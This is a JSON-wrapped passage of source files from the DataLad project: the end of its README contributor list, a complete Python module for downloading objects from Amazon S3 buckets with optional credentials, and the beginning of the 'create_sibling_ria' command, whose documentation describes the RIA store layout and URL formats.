<tr>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://jsheunis.github.io/\\\"><img src=\\\"https://avatars.githubusercontent.com/u/10141237?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Stephan Heunis\\\"/><br /><sub><b>Stephan Heunis</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=jsheunis\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://www.mmmccormick.com\\\"><img src=\\\"https://avatars.githubusercontent.com/u/25432?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Matt McCormick\\\"/><br /><sub><b>Matt McCormick</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=thewtex\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/vickychenglau\\\"><img src=\\\"https://avatars.githubusercontent.com/u/22065437?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Vicky C Lau\\\"/><br /><sub><b>Vicky C Lau</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=vickychenglau\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://chris-lamb.co.uk\\\"><img src=\\\"https://avatars.githubusercontent.com/u/133209?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Chris Lamb\\\"/><br /><sub><b>Chris Lamb</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=lamby\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/asmacdo\\\"><img src=\\\"https://avatars.githubusercontent.com/u/1028657?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Austin Macdonald\\\"/><br /><sub><b>Austin Macdonald</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=asmacdo\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://nobodyinperson.de\\\"><img src=\\\"https://avatars.githubusercontent.com/u/19148271?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Yann Büchau\\\"/><br /><sub><b>Yann Büchau</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=nobodyinperson\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/matrss\\\"><img src=\\\"https://avatars.githubusercontent.com/u/9308656?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Matthias Riße\\\"/><br /><sub><b>Matthias Riße</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=matrss\\\" title=\\\"Code\\\">💻</a></td>\\n </tr>\\n </tbody>\\n</table>\\n\\n<!-- markdownlint-restore -->\\n<!-- prettier-ignore-end -->\\n\\n<!-- ALL-CONTRIBUTORS-LIST:END -->\\n\\n[](https://www.macstadium.com/)\\n\\n[Git]: https://git-scm.com\\n[Git-annex]: http://git-annex.branchable.com\\n[setup.py]: https://github.com/datalad/datalad/blob/master/setup.py\\n[NeuroDebian]: http://neuro.debian.net\\n[Package Manager Specification]: https://projects.gentoo.org/pms/latest/pms.html\\n[enabling the ::science overlay]: https://github.com/gentoo/sci#manual-install-\\n\\n[DataLad Handbook: Installation]: http://handbook.datalad.org/en/latest/intro/installation.html\\n\"\n },\n {\n \"alpha_fraction\": 0.5682237148284912,\n \"alphanum_fraction\": 0.5784879922866821,\n \"avg_line_length\": 37.738094329833984,\n \"blob_id\": \"6ee12bc16733bf13628cfd7f571591b6b4e41595\",\n \"content_id\": \"0258590ae333bb72e71c0375eb64dbe163e0e820\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 16270,\n \"license_type\": \"permissive\",\n \"max_line_length\": 119,\n \"num_lines\": 420,\n \"path\": \"/datalad/downloaders/s3.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Provide access to Amazon S3 objects.\\n\\\"\\\"\\\"\\n\\nimport re\\n\\nfrom urllib.parse import urlsplit, unquote as urlunquote\\n\\nfrom ..utils import (\\n auto_repr,\\n ensure_dict_from_str,\\n)\\nfrom ..dochelpers import (\\n borrowkwargs,\\n)\\nfrom ..support.network import (\\n get_url_straight_filename,\\n iso8601_to_epoch,\\n rfc2822_to_epoch,\\n)\\n\\nfrom .base import Authenticator\\nfrom .base import BaseDownloader, DownloaderSession\\nfrom ..support.exceptions import (\\n AccessPermissionExpiredError,\\n CapturedException,\\n TargetFileAbsent,\\n)\\nfrom ..support.s3 import (\\n Key,\\n OrdinaryCallingFormat,\\n S3ResponseError,\\n boto,\\n get_bucket,\\n try_multiple_dec_s3,\\n)\\nfrom ..support.status import FileStatus\\n\\nimport logging\\nfrom logging import getLogger\\nlgr = getLogger('datalad.s3')\\nboto_lgr = logging.getLogger('boto')\\n# not in effect at all, probably those are setup later\\n#boto_lgr.handlers = lgr.handlers # Use our handlers\\n\\n__docformat__ = 'restructuredtext'\\n\\n\\n@auto_repr\\nclass S3Authenticator(Authenticator):\\n \\\"\\\"\\\"Authenticator for S3 AWS\\n \\\"\\\"\\\"\\n allows_anonymous = True\\n DEFAULT_CREDENTIAL_TYPE = 'aws-s3'\\n\\n def __init__(self, *args, host=None, **kwargs):\\n \\\"\\\"\\\"\\n\\n Parameters\\n ----------\\n host: str, optional\\n In some cases it is necessary to provide host to connect to. Passed\\n to boto.connect_s3\\n \\\"\\\"\\\"\\n super(S3Authenticator, self).__init__(*args, **kwargs)\\n self.connection = None\\n self.bucket = None\\n self._conn_kwargs = {}\\n if host:\\n self._conn_kwargs['host'] = host\\n\\n def authenticate(self, bucket_name, credential, cache=True):\\n \\\"\\\"\\\"Authenticates to the specified bucket using provided credentials\\n\\n Returns\\n -------\\n bucket\\n \\\"\\\"\\\"\\n\\n if not boto:\\n raise RuntimeError(\\\"%s requires boto module which is N/A\\\" % self)\\n\\n # Shut up boto if we do not care to listen ;)\\n boto_lgr.setLevel(\\n logging.CRITICAL\\n if lgr.getEffectiveLevel() > 1\\n else logging.DEBUG\\n )\\n\\n # credential might contain 'session' token as well\\n # which could be provided as security_token=<token>.,\\n # see http://stackoverflow.com/questions/7673840/is-there-a-way-to-create-a-s3-connection-with-a-sessions-token\\n conn_kwargs = self._conn_kwargs.copy()\\n if bucket_name.lower() != bucket_name:\\n # per http://stackoverflow.com/a/19089045/1265472\\n conn_kwargs['calling_format'] = OrdinaryCallingFormat()\\n\\n if credential is not None:\\n credentials = credential()\\n conn_kind = \\\"with authentication\\\"\\n conn_args = [credentials['key_id'], credentials['secret_id']]\\n conn_kwargs['security_token'] = credentials.get('session')\\n else:\\n conn_kind = \\\"anonymously\\\"\\n conn_args = []\\n conn_kwargs['anon'] = True\\n if '.' in bucket_name:\\n conn_kwargs['calling_format'] = OrdinaryCallingFormat()\\n\\n lgr.info(\\n \\\"S3 session: Connecting to the bucket %s %s\\\", bucket_name, conn_kind\\n )\\n self.connection = conn = boto.connect_s3(*conn_args, **conn_kwargs)\\n self.bucket = bucket = get_bucket(conn, bucket_name)\\n return bucket\\n\\n\\n@auto_repr\\nclass S3DownloaderSession(DownloaderSession):\\n def __init__(self, size=None, filename=None, url=None, headers=None,\\n key=None):\\n super(S3DownloaderSession, self).__init__(\\n size=size, filename=filename, headers=headers, url=url\\n )\\n self.key = key\\n\\n def download(self, f=None, pbar=None, size=None):\\n # S3 specific (the rest is common with e.g. http)\\n def pbar_callback(downloaded, totalsize):\\n assert (totalsize == self.key.size)\\n if pbar:\\n try:\\n pbar.update(downloaded)\\n except: # MIH: what does it do? MemoryError?\\n pass # do not let pbar spoil our fun\\n\\n headers = {}\\n # report for every % for files > 10MB, otherwise every 10%\\n kwargs = dict(headers=headers, cb=pbar_callback,\\n num_cb=100 if self.key.size > 10*(1024**2) else 10)\\n if size:\\n headers['Range'] = 'bytes=0-%d' % (size - 1)\\n if f:\\n # TODO: May be we could use If-Modified-Since\\n # see http://docs.aws.amazon.com/AmazonS3/latest/API/RESTObjectGET.html\\n self.key.get_contents_to_file(f, **kwargs)\\n else:\\n return self.key.get_contents_as_string(encoding=None, **kwargs)\\n\\n\\n@auto_repr\\nclass S3Downloader(BaseDownloader):\\n \\\"\\\"\\\"Downloader from AWS S3 buckets\\n \\\"\\\"\\\"\\n\\n _DEFAULT_AUTHENTICATOR = S3Authenticator\\n\\n @borrowkwargs(BaseDownloader)\\n def __init__(self, **kwargs):\\n super(S3Downloader, self).__init__(**kwargs)\\n self._bucket = None\\n\\n @property\\n def bucket(self):\\n return self._bucket\\n\\n def reset(self):\\n self._bucket = None\\n\\n @classmethod\\n def _parse_url(cls, url, bucket_only=False):\\n \\\"\\\"\\\"Parses s3:// url and returns bucket name, prefix, additional query elements\\n as a dict (such as VersionId)\\\"\\\"\\\"\\n rec = urlsplit(url)\\n if bucket_only:\\n return rec.netloc\\n assert(rec.scheme == 's3')\\n # We are often working with urlencoded URLs so we could safely interact\\n # with git-annex via its text based protocol etc. So, if URL looks like\\n # it was urlencoded the filepath, we should revert back to an original key\\n # name. Since we did not demarcate whether it was urlencoded, we will do\\n # magical check, which would fail if someone had % followed by two digits\\n filepath = rec.path.lstrip('/')\\n if re.search('%[0-9a-fA-F]{2}', filepath):\\n lgr.debug(\\\"URL unquoting S3 URL filepath %s\\\", filepath)\\n filepath = urlunquote(filepath)\\n # TODO: needs replacement to ensure_ since it doesn't\\n # deal with non key=value\\n return rec.netloc, filepath, ensure_dict_from_str(rec.query, sep='&') or {}\\n\\n def _establish_session(self, url, allow_old=True):\\n \\\"\\\"\\\"\\n\\n Parameters\\n ----------\\n allow_old: bool, optional\\n If a Downloader allows for persistent sessions by some means -- flag\\n instructs whether to use previous session, or establish a new one\\n\\n Returns\\n -------\\n bool\\n To state if old instance of a session/authentication was used\\n \\\"\\\"\\\"\\n bucket_name = self._parse_url(url, bucket_only=True)\\n if allow_old and self._bucket:\\n if self._bucket.name == bucket_name:\\n try:\\n self._check_credential()\\n lgr.debug(\\n \\\"S3 session: Reusing previous connection to bucket %s\\\",\\n bucket_name\\n )\\n return True # we used old\\n except AccessPermissionExpiredError:\\n lgr.debug(\\\"S3 session: credential expired\\\")\\n else:\\n lgr.warning(\\\"No support yet for multiple buckets per S3Downloader\\\")\\n\\n lgr.debug(\\\"S3 session: Reconnecting to the bucket\\\")\\n self._bucket = try_multiple_dec_s3(self.authenticator.authenticate)(\\n bucket_name, self.credential)\\n return False\\n\\n def _check_credential(self):\\n \\\"\\\"\\\"Quick check of the credential if known on either it has not expired\\n\\n Raises\\n ------\\n AccessPermissionExpiredError\\n if credential is found to be expired\\n \\\"\\\"\\\"\\n if self.credential and self.credential.is_expired:\\n raise AccessPermissionExpiredError(\\n \\\"Credential %s has expired\\\" % self.credential)\\n\\n def _get_key(self, key_name, version_id=None, headers=None):\\n try:\\n return self._bucket.get_key(key_name, version_id=version_id, headers=headers)\\n except S3ResponseError as e:\\n if e.status != 400:\\n raise # we will not deal with those here\\n # e.g. 400 Bad request could happen due to timed out key.\\n # Since likely things went bad if credential expired, just raise general\\n # AccessDeniedError. Logic upstream should retry\\n self._check_credential()\\n ce1 = CapturedException(e)\\n lgr.debug(\\\"bucket.get_key (HEAD) failed with %s, trying GET request now\\\",\\n ce1)\\n try:\\n return self._get_key_via_get(key_name, version_id=version_id, headers=headers)\\n except S3ResponseError:\\n # propagate S3 exceptions since they actually can provide the reason why we failed!\\n raise\\n except Exception as e2:\\n ce2 = CapturedException(e2)\\n lgr.debug(\\\"We failed to get a key via HEAD due to %s and then via partial GET due to %s\\\",\\n ce1, ce2)\\n # reraise original one\\n raise e\\n\\n def _get_key_via_get(self, key_name, version_id=None, headers=None):\\n \\\"\\\"\\\"Get key information via GET so we can get error_code if any\\n\\n The problem with bucket.get_key is that it uses HEAD request.\\n With that request response header has only the status (e.g. 400)\\n but not a specific error_code. That makes it impossible to properly\\n react on failed requests (wait? re-auth?).\\n\\n Yarik found no easy way in boto to reissue the request with GET,\\n so this code is lobotomized version of _get_key_internal but with GET\\n instead of HEAD and thus providing body into error handling.\\n \\\"\\\"\\\"\\n query_args_l = []\\n if version_id:\\n query_args_l.append('versionId=%s' % version_id)\\n query_args = '&'.join(query_args_l) or None\\n bucket = self._bucket\\n headers = headers or {}\\n headers['Range'] = 'bytes=0-0'\\n response = bucket.connection.make_request(\\n 'GET',\\n bucket.name,\\n key_name,\\n headers=headers,\\n query_args=query_args)\\n body = response.read()\\n if response.status // 100 == 2:\\n # it was all good\\n k = bucket.key_class(bucket)\\n provider = bucket.connection.provider\\n k.metadata = boto.utils.get_aws_metadata(response.msg, provider)\\n for field in Key.base_fields:\\n k.__dict__[field.lower().replace('-', '_')] = \\\\\\n response.getheader(field)\\n crange, crange_size = response.getheader('content-range'), None\\n if crange:\\n # should look like 'bytes 0-0/50993'\\n if not crange.startswith('bytes 0-0/'):\\n # we will just spit out original exception and be done -- we have tried!\\n raise ValueError(\\\"Got content-range %s which I do not know how to handle to \\\"\\n \\\"get the full size\\\" % repr(crange))\\n crange_size = int(crange.split('/', 1)[-1])\\n k.size = crange_size\\n # the following machinations are a workaround to the fact that\\n # apache/fastcgi omits the content-length header on HEAD\\n # requests when the content-length is zero.\\n # See http://goo.gl/0Tdax for more details.\\n if response.status != 206: # partial content\\n # assume full return of 0 bytes etc\\n clen_size = int(response.getheader('content-length'), 0)\\n\\n if crange_size is not None:\\n if crange_size != clen_size:\\n raise ValueError(\\n \\\"We got content-length %d and size from content-range %d - they do \\\"\\n \\\"not match\\\", clen_size, crange_size)\\n k.size = clen_size\\n k.name = key_name\\n k.handle_version_headers(response)\\n k.handle_encryption_headers(response)\\n k.handle_restore_headers(response)\\n k.handle_storage_class_header(response)\\n k.handle_addl_headers(response.getheaders())\\n return k\\n else:\\n if response.status == 404:\\n return None\\n else:\\n raise bucket.connection.provider.storage_response_error(\\n response.status, response.reason, body)\\n\\n def get_downloader_session(self, url, **kwargs):\\n bucket_name, url_filepath, params = self._parse_url(url)\\n if params:\\n newkeys = set(params.keys()) - {'versionId'}\\n if newkeys:\\n raise NotImplementedError(\\\"Did not implement support for %s\\\" % newkeys)\\n assert(self._bucket.name == bucket_name) # must be the same\\n\\n self._check_credential()\\n try:\\n key = try_multiple_dec_s3(self._get_key)(\\n url_filepath, version_id=params.get('versionId', None)\\n )\\n except S3ResponseError as e:\\n raise TargetFileAbsent(\\\"S3 refused to provide the key for %s from url %s\\\"\\n % (url_filepath, url)) from e\\n if key is None:\\n raise TargetFileAbsent(\\\"No key returned for %s from url %s\\\" % (url_filepath, url))\\n\\n target_size = key.size # S3 specific\\n headers = {\\n 'Content-Length': key.size,\\n 'Content-Disposition': key.name\\n }\\n\\n if key.last_modified:\\n headers['Last-Modified'] = rfc2822_to_epoch(key.last_modified)\\n\\n # Consult about filename\\n url_filename = get_url_straight_filename(url)\\n\\n if 'versionId' not in params and key.version_id:\\n # boto adds version_id to the request if it is known present.\\n # It is a good idea in general to avoid race between moment of retrieving\\n # the key information and actual download.\\n # But depending on permissions, we might be unable (like in the case with NDA)\\n # to download a guaranteed version of the key.\\n # So we will just download the latest version (if still there)\\n # if no versionId was specified in URL\\n # Alternative would be to make this a generator and generate sessions\\n # but also remember if the first download succeeded so we do not try\\n # again to get versioned one first.\\n key.version_id = None\\n # TODO: ask NDA to allow download of specific versionId?\\n\\n return S3DownloaderSession(\\n size=target_size,\\n filename=url_filename,\\n url=url,\\n headers=headers,\\n key=key\\n )\\n\\n @classmethod\\n def get_key_headers(cls, key, dateformat='rfc2822'):\\n headers = {\\n 'Content-Length': key.size,\\n 'Content-Disposition': key.name\\n }\\n\\n if key.last_modified:\\n # boto would return time string the way amazon returns which returns\\n # it in two different ones depending on how key information was obtained:\\n # https://github.com/boto/boto/issues/466\\n headers['Last-Modified'] = {'rfc2822': rfc2822_to_epoch,\\n 'iso8601': iso8601_to_epoch}[dateformat](key.last_modified)\\n return headers\\n\\n @classmethod\\n def get_status_from_headers(cls, headers):\\n # TODO: duplicated with http functionality\\n # convert to FileStatus\\n return FileStatus(\\n size=headers.get('Content-Length'),\\n mtime=headers.get('Last-Modified'),\\n filename=headers.get('Content-Disposition')\\n )\\n\\n @classmethod\\n def get_key_status(cls, key, dateformat='rfc2822'):\\n return cls.get_status_from_headers(cls.get_key_headers(key, dateformat=dateformat))\\n\"\n },\n {\n \"alpha_fraction\": 0.5736953616142273,\n \"alphanum_fraction\": 0.5755224823951721,\n \"avg_line_length\": 39.409324645996094,\n \"blob_id\": \"6e6370a565485c14235ce1f1db377ac36e917364\",\n \"content_id\": \"15ccd2df63a02826a8df71fd564a4b70cc3a1f44\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 31196,\n \"license_type\": \"permissive\",\n \"max_line_length\": 92,\n \"num_lines\": 772,\n \"path\": \"/datalad/distributed/create_sibling_ria.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Create a sibling in a RIA store\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\n\\nimport logging\\nfrom pathlib import PurePosixPath as UrlPath\\n\\nfrom datalad.cmd import WitlessRunner as Runner\\nfrom datalad.core.distributed.clone import decode_source_spec\\nfrom datalad.customremotes.ria_utils import (\\n create_ds_in_store,\\n create_store,\\n get_layout_locations,\\n verify_ria_url,\\n)\\nfrom datalad.distributed.ora_remote import (\\n LocalIO,\\n RemoteCommandFailedError,\\n RIARemoteError,\\n SSHRemoteIO,\\n)\\nfrom datalad.distribution.dataset import (\\n EnsureDataset,\\n datasetmethod,\\n require_dataset,\\n)\\nfrom datalad.distribution.utils import _yield_ds_w_matching_siblings\\nfrom datalad.interface.base import (\\n Interface,\\n build_doc,\\n eval_results,\\n)\\nfrom datalad.interface.common_opts import (\\n recursion_flag,\\n recursion_limit,\\n)\\nfrom datalad.interface.results import get_status_dict\\nfrom datalad.log import log_progress\\nfrom datalad.support.annexrepo import AnnexRepo\\nfrom datalad.support.constraints import (\\n EnsureBool,\\n EnsureChoice,\\n EnsureNone,\\n EnsureStr,\\n)\\nfrom datalad.support.exceptions import CommandError\\nfrom datalad.support.gitrepo import GitRepo\\nfrom datalad.support.network import url_path2local_path\\nfrom datalad.support.param import Parameter\\nfrom datalad.utils import (\\n Path,\\n quote_cmdlinearg,\\n)\\n\\nlgr = logging.getLogger('datalad.distributed.create_sibling_ria')\\n\\n\\n@build_doc\\nclass CreateSiblingRia(Interface):\\n \\\"\\\"\\\"Creates a sibling to a dataset in a RIA store\\n\\n Communication with a dataset in a RIA store is implemented via two\\n siblings. A regular Git remote (repository sibling) and a git-annex\\n special remote for data transfer (storage sibling) -- with the former\\n having a publication dependency on the latter. By default, the name of the\\n storage sibling is derived from the repository sibling's name by appending\\n \\\"-storage\\\".\\n\\n The store's base path is expected to not exist, be an empty directory,\\n or a valid RIA store.\\n\\n Notes\\n -----\\n\\n\\n **RIA URL format**\\n\\n Interactions with new or existing RIA stores require RIA URLs to identify\\n the store or specific datasets inside of it.\\n\\n The general structure of a RIA URL pointing to a store takes the form\\n ``ria+[scheme]://<storelocation>`` (e.g.,\\n ``ria+ssh://[user@]hostname:/absolute/path/to/ria-store``, or\\n ``ria+file:///absolute/path/to/ria-store``)\\n\\n The general structure of a RIA URL pointing to a dataset in a store (for\\n example for cloning) takes a similar form, but appends either the datasets\\n UUID or a \\\"~\\\" symbol followed by the dataset's alias name:\\n ``ria+[scheme]://<storelocation>#<dataset-UUID>`` or\\n ``ria+[scheme]://<storelocation>#~<aliasname>``.\\n In addition, specific version identifiers can be appended to the URL with an\\n additional \\\"@\\\" symbol:\\n ``ria+[scheme]://<storelocation>#<dataset-UUID>@<dataset-version>``,\\n where ``dataset-version`` refers to a branch or tag.\\n\\n\\n **RIA store layout**\\n\\n A RIA store is a directory tree with a dedicated subdirectory for each\\n dataset in the store. The subdirectory name is constructed from the\\n DataLad dataset ID, e.g. ``124/68afe-59ec-11ea-93d7-f0d5bf7b5561``, where\\n the first three characters of the ID are used for an intermediate\\n subdirectory in order to mitigate files system limitations for stores\\n containing a large number of datasets.\\n\\n By default, a dataset in a RIA store consists of two components:\\n A Git repository (for all dataset contents stored in Git) and a\\n storage sibling (for dataset content stored in git-annex).\\n\\n It is possible to selectively disable either component using\\n ``storage-sibling 'off'`` or ``storage-sibling 'only'``, respectively.\\n If neither component is disabled, a dataset's subdirectory layout in a RIA\\n store contains a standard bare Git repository and an ``annex/`` subdirectory\\n inside of it.\\n The latter holds a Git-annex object store and comprises the storage sibling.\\n Disabling the standard git-remote (``storage-sibling='only'``) will result\\n in not having the bare git repository, disabling the storage sibling\\n (``storage-sibling='off'``) will result in not having the ``annex/``\\n subdirectory.\\n\\n Optionally, there can be a further subdirectory ``archives`` with\\n (compressed) 7z archives of annex objects. The storage remote is able to\\n pull annex objects from these archives, if it cannot find in the regular\\n annex object store. This feature can be useful for storing large\\n collections of rarely changing data on systems that limit the number of\\n files that can be stored.\\n\\n Each dataset directory also contains a ``ria-layout-version`` file that\\n identifies the data organization (as, for example, described above).\\n\\n Lastly, there is a global ``ria-layout-version`` file at the store's\\n base path that identifies where dataset subdirectories themselves are\\n located. At present, this file must contain a single line stating the\\n version (currently \\\"1\\\"). This line MUST end with a newline character.\\n\\n It is possible to define an alias for an individual dataset in a store by\\n placing a symlink to the dataset location into an ``alias/`` directory\\n in the root of the store. This enables dataset access via URLs of format:\\n ``ria+<protocol>://<storelocation>#~<aliasname>``.\\n\\n Compared to standard git-annex object stores, the ``annex/`` subdirectories\\n used as storage siblings follow a different layout naming scheme\\n ('dirhashmixed' instead of 'dirhashlower').\\n This is mostly noted as a technical detail, but also serves to remind\\n git-annex powerusers to refrain from running git-annex commands\\n directly in-store as it can cause severe damage due to the layout\\n difference. Interactions should be handled via the ORA special remote\\n instead.\\n\\n\\n **Error logging**\\n\\n To enable error logging at the remote end, append a pipe symbol and an \\\"l\\\"\\n to the version number in ria-layout-version (like so: ``1|l\\\\\\\\n``).\\n\\n Error logging will create files in an \\\"error_log\\\" directory whenever the\\n git-annex special remote (storage sibling) raises an exception, storing the\\n Python traceback of it. The logfiles are named according to the scheme\\n ``<dataset id>.<annex uuid of the remote>.log`` showing \\\"who\\\" ran into this\\n issue with which dataset. Because logging can potentially leak personal\\n data (like local file paths for example), it can be disabled client-side\\n by setting the configuration variable\\n ``annex.ora-remote.<storage-sibling-name>.ignore-remote-config``.\\n \\\"\\\"\\\"\\n\\n # TODO: description?\\n _params_ = dict(\\n dataset=Parameter(\\n args=(\\\"-d\\\", \\\"--dataset\\\"),\\n doc=\\\"\\\"\\\"specify the dataset to process. If\\n no dataset is given, an attempt is made to identify the dataset\\n based on the current working directory\\\"\\\"\\\",\\n constraints=EnsureDataset() | EnsureNone()),\\n url=Parameter(\\n args=(\\\"url\\\",),\\n metavar=\\\"ria+<ssh|file|http(s)>://<host>[/path]\\\",\\n doc=\\\"\\\"\\\"URL identifying the target RIA store and access protocol. If\\n ``push_url||--push-url`` is given in addition, this is\\n used for read access only. Otherwise it will be used for write\\n access too and to create the repository sibling in the RIA store.\\n Note, that HTTP(S) currently is valid for consumption only thus\\n requiring to provide ``push_url||--push-url``.\\n \\\"\\\"\\\",\\n constraints=EnsureStr() | EnsureNone()),\\n push_url=Parameter(\\n args=(\\\"--push-url\\\",),\\n metavar=\\\"ria+<ssh|file>://<host>[/path]\\\",\\n doc=\\\"\\\"\\\"URL identifying the target RIA store and access protocol for\\n write access to the storage sibling. If given this will also be used\\n for creation of the repository sibling in the RIA store.\\\"\\\"\\\",\\n constraints=EnsureStr() | EnsureNone()),\\n name=Parameter(\\n args=('-s', '--name',),\\n metavar='NAME',\\n doc=\\\"\\\"\\\"Name of the sibling.\\n With `recursive`, the same name will be used to label all\\n the subdatasets' siblings.\\\"\\\"\\\",\\n constraints=EnsureStr() | EnsureNone(),\\n required=True),\\n storage_name=Parameter(\\n args=(\\\"--storage-name\\\",),\\n metavar=\\\"NAME\\\",\\n doc=\\\"\\\"\\\"Name of the storage sibling (git-annex special remote).\\n Must not be identical to the sibling name. If not specified,\\n defaults to the sibling name plus '-storage' suffix. If only\\n a storage sibling is created, this setting is ignored, and\\n the primary sibling name is used.\\\"\\\"\\\",\\n constraints=EnsureStr() | EnsureNone()),\\n alias=Parameter(\\n args=('--alias',),\\n metavar='ALIAS',\\n doc=\\\"\\\"\\\"Alias for the dataset in the RIA store.\\n Add the necessary symlink so that this dataset can be cloned from the RIA\\n store using the given ALIAS instead of its ID.\\n With `recursive=True`, only the top dataset will be aliased.\\\"\\\"\\\",\\n constraints=EnsureStr() | EnsureNone()),\\n post_update_hook=Parameter(\\n args=(\\\"--post-update-hook\\\",),\\n doc=\\\"\\\"\\\"Enable Git's default post-update-hook for the created\\n sibling. This is useful when the sibling is made accessible via a\\n \\\"dumb server\\\" that requires running 'git update-server-info'\\n to let Git interact properly with it.\\\"\\\"\\\",\\n action=\\\"store_true\\\"),\\n shared=Parameter(\\n args=(\\\"--shared\\\",),\\n metavar='{false|true|umask|group|all|world|everybody|0xxx}',\\n doc=\\\"\\\"\\\"If given, configures the permissions in the\\n RIA store for multi-users access.\\n Possible values for this option are identical to those of\\n `git init --shared` and are described in its documentation.\\\"\\\"\\\",\\n constraints=EnsureStr() | EnsureBool() | EnsureNone()),\\n group=Parameter(\\n args=(\\\"--group\\\",),\\n metavar=\\\"GROUP\\\",\\n doc=\\\"\\\"\\\"Filesystem group for the repository. Specifying the group is\\n crucial when [CMD: --shared=group CMD][PY: shared=\\\"group\\\" PY]\\\"\\\"\\\",\\n constraints=EnsureStr() | EnsureNone()),\\n storage_sibling=Parameter(\\n args=(\\\"--storage-sibling\\\",),\\n dest='storage_sibling',\\n metavar='MODE',\\n constraints=EnsureChoice('only') | EnsureBool() | EnsureNone(),\\n doc=\\\"\\\"\\\"By default, an ORA storage sibling and a Git repository\\n sibling are created ([CMD: on CMD][PY: True|'on' PY]).\\n Alternatively, creation of the storage sibling can be disabled\\n ([CMD: off CMD][PY: False|'off' PY]), or a storage sibling\\n created only and no Git sibling\\n ([CMD: only CMD][PY: 'only' PY]). In the latter mode, no Git\\n installation is required on the target host.\\\"\\\"\\\"),\\n existing=Parameter(\\n args=(\\\"--existing\\\",),\\n constraints=EnsureChoice('skip', 'error', 'reconfigure'),\\n metavar='MODE',\\n doc=\\\"\\\"\\\"Action to perform, if a (storage) sibling is already\\n configured under the given name and/or a target already exists.\\n In this case, a dataset can be skipped ('skip'), an existing target\\n repository be forcefully re-initialized, and the sibling\\n (re-)configured ('reconfigure'), or the command be instructed to\\n fail ('error').\\\"\\\"\\\", ),\\n new_store_ok=Parameter(\\n args=(\\\"--new-store-ok\\\",),\\n action='store_true',\\n doc=\\\"\\\"\\\"When set, a new store will be created, if necessary. Otherwise, a sibling\\n will only be created if the url points to an existing RIA store.\\\"\\\"\\\",\\n ),\\n recursive=recursion_flag,\\n recursion_limit=recursion_limit,\\n trust_level=Parameter(\\n args=(\\\"--trust-level\\\",),\\n metavar=\\\"TRUST-LEVEL\\\",\\n constraints=EnsureChoice('trust', 'semitrust', 'untrust', None),\\n doc=\\\"\\\"\\\"specify a trust level for the storage sibling. If not\\n specified, the default git-annex trust level is used. 'trust'\\n should be used with care (see the git-annex-trust man page).\\\"\\\"\\\",),\\n disable_storage__=Parameter(\\n args=(\\\"--no-storage-sibling\\\",),\\n dest='disable_storage__',\\n doc=\\\"\\\"\\\"This option is deprecated. Use '--storage-sibling off'\\n instead.\\\"\\\"\\\",\\n action=\\\"store_false\\\"),\\n )\\n\\n @staticmethod\\n @datasetmethod(name='create_sibling_ria')\\n @eval_results\\n def __call__(url,\\n name,\\n *, # note that `name` is required but not posarg in CLI\\n dataset=None,\\n storage_name=None,\\n alias=None,\\n post_update_hook=False,\\n shared=None,\\n group=None,\\n storage_sibling=True,\\n existing='error',\\n new_store_ok=False,\\n trust_level=None,\\n recursive=False,\\n recursion_limit=None,\\n disable_storage__=None,\\n push_url=None\\n ):\\n if disable_storage__ is not None:\\n import warnings\\n warnings.warn(\\\"datalad-create-sibling-ria --no-storage-sibling \\\"\\n \\\"is deprecated, use --storage-sibling off instead.\\\",\\n DeprecationWarning)\\n # recode to new setup\\n disable_storage__ = 